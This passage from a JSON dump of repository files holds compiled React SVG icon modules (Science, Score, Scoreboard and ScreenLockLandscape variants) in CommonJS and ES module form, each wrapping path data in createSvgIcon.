    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.8 18.4 14 10.67V6.5l1.35-1.69c.26-.33.03-.81-.39-.81H9.04c-.42 0-.65.48-.39.81L10 6.5v4.17L4.2 18.4c-.49.66-.02 1.6.8 1.6h14c.82 0 1.29-.94.8-1.6\"\n}), 'ScienceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScienceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 6h-2v5.33L6 18h12l-5-6.67z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.8 18.4 15 10.67V6.5l1.35-1.69c.26-.33.03-.81-.39-.81H8.04c-.42 0-.65.48-.39.81L9 6.5v4.17L3.2 18.4c-.49.66-.02 1.6.8 1.6h16c.82 0 1.29-.94.8-1.6M6 18l5-6.67V6h2v5.33L18 18z\"\n}, \"1\")], 'ScienceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScienceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 6h-2v5.33L6 18h12l-5-6.67z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.8 18.4 15 10.67V6.5l1.35-1.69c.26-.33.03-.81-.39-.81H8.04c-.42 0-.65.48-.39.81L9 6.5v4.17L3.2 18.4c-.49.66-.02 1.6.8 1.6h16c.82 0 1.29-.94.8-1.6M6 18l5-6.67V6h2v5.33L18 18z\"\n}, \"1\")], 'ScienceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Score.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 2h1.5v3l2-3h1.7l-2 3 2 3h-1.7l-2-3v3H12zM7 7.25h2.5V6.5H7V5h4v3.75H8.5v.75H11V11H7zM19 13l-6 6-4-4-4 4v-2.5l4-4 4 4 6-6z\"\n}), 'Score');"
  },
  {
    "path": "packages/mui-icons-material/lib/Score.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 2h1.5v3l2-3h1.7l-2 3 2 3h-1.7l-2-3v3H12zM7 7.25h2.5V6.5H7V5h4v3.75H8.5v.75H11V11H7zM19 13l-6 6-4-4-4 4v-2.5l4-4 4 4 6-6z\"\n}), 'Score');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5l4-4 4 4 6-6zm0-8.5-6 6-4-4-4 4V5h14zM13.5 9V6H12v6h1.5zm3.7 3-2-3 2-3h-1.7l-2 3 2 3zM11 10.5H8.5v-.75H11V6H7v1.5h2.5v.75H7V12h4z\"\n}), 'ScoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5l4-4 4 4 6-6zm0-8.5-6 6-4-4-4 4V5h14zM13.5 9V6H12v6h1.5zm3.7 3-2-3 2-3h-1.7l-2 3 2 3zM11 10.5H8.5v-.75H11V6H7v1.5h2.5v.75H7V12h4z\"\n}), 'ScoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 2.75c0-.41.34-.75.75-.75s.75.34.75.75V8l1.79-2.69c.13-.19.35-.31.59-.31.56 0 .9.63.59 1.1L15.2 8l1.27 1.9c.31.47-.02 1.1-.59 1.1-.24 0-.46-.12-.59-.31L13.5 8v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75zm-5 2.5c0-.55.45-1 1-1h1.5V6.5H7.75c-.41 0-.75-.34-.75-.75S7.34 5 7.75 5H10c.55 0 1 .45 1 1v1.75c0 .55-.45 1-1 1H8.5v.75h1.75c.41 0 .75.34.75.75s-.34.75-.75.75H8c-.55 0-1-.45-1-1zm11.74 5.01-5.03 5.03c-.39.39-1.02.39-1.41 0L9 15l-2.49 2.49c-.56.56-1.51.16-1.51-.62 0-.23.09-.46.26-.62l3.03-3.03c.39-.39 1.02-.39 1.41 0L13 16.5l4.49-4.49c.56-.56 1.51-.16 1.51.62 0 .24-.09.46-.26.63\"\n}), 'ScoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 2.75c0-.41.34-.75.75-.75s.75.34.75.75V8l1.79-2.69c.13-.19.35-.31.59-.31.56 0 .9.63.59 1.1L15.2 8l1.27 1.9c.31.47-.02 1.1-.59 1.1-.24 0-.46-.12-.59-.31L13.5 8v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75zm-5 2.5c0-.55.45-1 1-1h1.5V6.5H7.75c-.41 0-.75-.34-.75-.75S7.34 5 7.75 5H10c.55 0 1 .45 1 1v1.75c0 .55-.45 1-1 1H8.5v.75h1.75c.41 0 .75.34.75.75s-.34.75-.75.75H8c-.55 0-1-.45-1-1zm11.74 5.01-5.03 5.03c-.39.39-1.02.39-1.41 0L9 15l-2.49 2.49c-.56.56-1.51.16-1.51-.62 0-.23.09-.46.26-.62l3.03-3.03c.39-.39 1.02-.39 1.41 0L13 16.5l4.49-4.49c.56-.56 1.51-.16 1.51.62 0 .24-.09.46-.26.63\"\n}), 'ScoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-9 2h1.5v3l2-3h1.7l-2 3 2 3h-1.7l-2-3v3H12zM7 7.25h2.5V6.5H7V5h4v3.75H8.5v.75H11V11H7zM19 13l-6 6-4-4-4 4v-2.5l4-4 4 4 6-6z\"\n}), 'ScoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-9 2h1.5v3l2-3h1.7l-2 3 2 3h-1.7l-2-3v3H12zM7 7.25h2.5V6.5H7V5h4v3.75H8.5v.75H11V11H7zM19 13l-6 6-4-4-4 4v-2.5l4-4 4 4 6-6z\"\n}), 'ScoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h8l-4-4zm0-2.5 4-4 4 4 6-6V5H5zM12 6h1.5v3l2-3h1.7l-2 3 2 3h-1.7l-2-3v3H12zM7 8.25h2.5V7.5H7V6h4v3.75H8.5v.75H11V12H7zM19 19v-6l-6 6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5l4-4 4 4 6-6zm0-8.5-6 6-4-4-4 4V5h14zM13.5 9V6H12v6h1.5zm3.7 3-2-3 2-3h-1.7l-2 3 2 3zM11 10.5H8.5v-.75H11V6H7v1.5h2.5v.75H7V12h4z\"\n}, \"1\")], 'ScoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h8l-4-4zm0-2.5 4-4 4 4 6-6V5H5zM12 6h1.5v3l2-3h1.7l-2 3 2 3h-1.7l-2-3v3H12zM7 8.25h2.5V7.5H7V6h4v3.75H8.5v.75H11V12H7zM19 19v-6l-6 6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5l4-4 4 4 6-6zm0-8.5-6 6-4-4-4 4V5h14zM13.5 9V6H12v6h1.5zm3.7 3-2-3 2-3h-1.7l-2 3 2 3zM11 10.5H8.5v-.75H11V6H7v1.5h2.5v.75H7V12h4z\"\n}, \"1\")], 'ScoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Scoreboard.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 13.5H16v-3h1.5zM20 4h-3V2h-2v2H9V2H7v2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M9.5 11.5c0 .55-.45 1-1 1h-2v1h3V15H5v-2.5c0-.55.45-1 1-1h2v-1H5V9h3.5c.55 0 1 .45 1 1zm3.25 6.5h-1.5v-1.5h1.5zm0-3.5h-1.5V13h1.5zm0-3.5h-1.5V9.5h1.5zm0-3.5h-1.5V6h1.5zM19 14c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H18c.55 0 1 .45 1 1z\"\n}), 'Scoreboard');"
  },
  {
    "path": "packages/mui-icons-material/lib/Scoreboard.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 13.5H16v-3h1.5zM20 4h-3V2h-2v2H9V2H7v2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M9.5 11.5c0 .55-.45 1-1 1h-2v1h3V15H5v-2.5c0-.55.45-1 1-1h2v-1H5V9h3.5c.55 0 1 .45 1 1zm3.25 6.5h-1.5v-1.5h1.5zm0-3.5h-1.5V13h1.5zm0-3.5h-1.5V9.5h1.5zm0-3.5h-1.5V6h1.5zM19 14c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H18c.55 0 1 .45 1 1z\"\n}), 'Scoreboard');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreboardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9h-2.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1H18c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5H16v-3h1.5zm-8 1.5H5v-2.5c0-.55.45-1 1-1h2v-1H5V9h3.5c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2v1h3zm3.25-4h-1.5V9.5h1.5zm0 3.5h-1.5V13h1.5zM22 6v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h3V2h2v2h6V2h2v2h3c1.1 0 2 .9 2 2m-2 12V6h-7.25v1.5h-1.5V6H4v12h7.25v-1.5h1.5V18z\"\n}), 'ScoreboardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreboardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9h-2.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1H18c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5H16v-3h1.5zm-8 1.5H5v-2.5c0-.55.45-1 1-1h2v-1H5V9h3.5c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2v1h3zm3.25-4h-1.5V9.5h1.5zm0 3.5h-1.5V13h1.5zM22 6v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h3V2h2v2h6V2h2v2h3c1.1 0 2 .9 2 2m-2 12V6h-7.25v1.5h-1.5V6H4v12h7.25v-1.5h1.5V18z\"\n}), 'ScoreboardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreboardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 13.5H16v-3h1.5zM16 2c-.55 0-1 .45-1 1v1H9V3c0-.55-.45-1-1-1s-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3V3c0-.55-.45-1-1-1M9.5 14.25c0 .41-.34.75-.75.75H6c-.55 0-1-.45-1-1v-1.5c0-.55.45-1 1-1h2v-1H5.75c-.41 0-.75-.34-.75-.75S5.34 9 5.75 9H8.5c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2v1h2.25c.41 0 .75.34.75.75M19 14c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H18c.55 0 1 .45 1 1zm-6.25-7.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75S11.59 6 12 6s.75.34.75.75m0 3.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75.34-.75.75-.75.75.34.75.75m0 3.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75.34-.75.75-.75.75.34.75.75m0 3.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75.34-.75.75-.75.75.34.75.75\"\n}), 'ScoreboardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreboardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 13.5H16v-3h1.5zM16 2c-.55 0-1 .45-1 1v1H9V3c0-.55-.45-1-1-1s-1 .45-1 1v1H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3V3c0-.55-.45-1-1-1M9.5 14.25c0 .41-.34.75-.75.75H6c-.55 0-1-.45-1-1v-1.5c0-.55.45-1 1-1h2v-1H5.75c-.41 0-.75-.34-.75-.75S5.34 9 5.75 9H8.5c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2v1h2.25c.41 0 .75.34.75.75M19 14c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H18c.55 0 1 .45 1 1zm-6.25-7.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75S11.59 6 12 6s.75.34.75.75m0 3.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75.34-.75.75-.75.75.34.75.75m0 3.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75.34-.75.75-.75.75.34.75.75m0 3.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75.34-.75.75-.75.75.34.75.75\"\n}), 'ScoreboardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreboardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 13.5H16v-3h1.5zM22 4h-5V2h-2v2H9V2H7v2H2v16h20zM9.5 12.5h-3v1h3V15H5v-3.5h3v-1H5V9h4.5zm3.25 5.5h-1.5v-1.5h1.5zm0-3.5h-1.5V13h1.5zm0-3.5h-1.5V9.5h1.5zm0-3.5h-1.5V6h1.5zM19 9v6h-4.5V9z\"\n}), 'ScoreboardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreboardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 13.5H16v-3h1.5zM22 4h-5V2h-2v2H9V2H7v2H2v16h20zM9.5 12.5h-3v1h3V15H5v-3.5h3v-1H5V9h4.5zm3.25 5.5h-1.5v-1.5h1.5zm0-3.5h-1.5V13h1.5zm0-3.5h-1.5V9.5h1.5zm0-3.5h-1.5V6h1.5zM19 9v6h-4.5V9z\"\n}), 'ScoreboardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreboardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 13.5H16v-3h1.5zM12.75 6v1.5h-1.5V6H4v12h7.25v-1.5h1.5V18H20V6zM9.5 11.5c0 .55-.45 1-1 1h-2v1h3V15H5v-2.5c0-.55.45-1 1-1h2v-1H5V9h3.5c.55 0 1 .45 1 1zm3.25 3h-1.5V13h1.5zm0-3.5h-1.5V9.5h1.5zM19 14c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H18c.55 0 1 .45 1 1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9h-2.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1H18c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5H16v-3h1.5zm-8 1.5H5v-2.5c0-.55.45-1 1-1h2v-1H5V9h3.5c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2v1h3zm3.25-4h-1.5V9.5h1.5zm0 3.5h-1.5V13h1.5zM22 6v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h3V2h2v2h6V2h2v2h3c1.1 0 2 .9 2 2m-2 12V6h-7.25v1.5h-1.5V6H4v12h7.25v-1.5h1.5V18z\"\n}, \"1\")], 'ScoreboardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScoreboardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 13.5H16v-3h1.5zM12.75 6v1.5h-1.5V6H4v12h7.25v-1.5h1.5V18H20V6zM9.5 11.5c0 .55-.45 1-1 1h-2v1h3V15H5v-2.5c0-.55.45-1 1-1h2v-1H5V9h3.5c.55 0 1 .45 1 1zm3.25 3h-1.5V13h1.5zm0-3.5h-1.5V9.5h1.5zM19 14c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H18c.55 0 1 .45 1 1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9h-2.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1H18c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m-.5 4.5H16v-3h1.5zm-8 1.5H5v-2.5c0-.55.45-1 1-1h2v-1H5V9h3.5c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1h-2v1h3zm3.25-4h-1.5V9.5h1.5zm0 3.5h-1.5V13h1.5zM22 6v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h3V2h2v2h6V2h2v2h3c1.1 0 2 .9 2 2m-2 12V6h-7.25v1.5h-1.5V6H4v12h7.25v-1.5h1.5V18z\"\n}, \"1\")], 'ScoreboardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockLandscape.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5H3c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-2 12H5V7h14zm-9-1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1v-1c0-1.11-.9-2-2-2-1.11 0-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4z\"\n}), 'ScreenLockLandscape');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockLandscape.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5H3c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-2 12H5V7h14zm-9-1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1v-1c0-1.11-.9-2-2-2-1.11 0-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4z\"\n}), 'ScreenLockLandscape');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockLandscapeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5H3c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-2 12H5V7h14zm-9-1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1v-1c0-1.11-.9-2-2-2-1.11 0-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4z\"\n}), 'ScreenLockLandscapeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockLandscapeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5H3c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-2 12H5V7h14zm-9-1h4c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1v-1c0-1.11-.9-2-2-2-1.11 0-2 .9-2 2v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m.8-6c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2v1h-2.4z\"\n}), 'ScreenLockLandscapeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScreenLockLandscapeRounded.js",
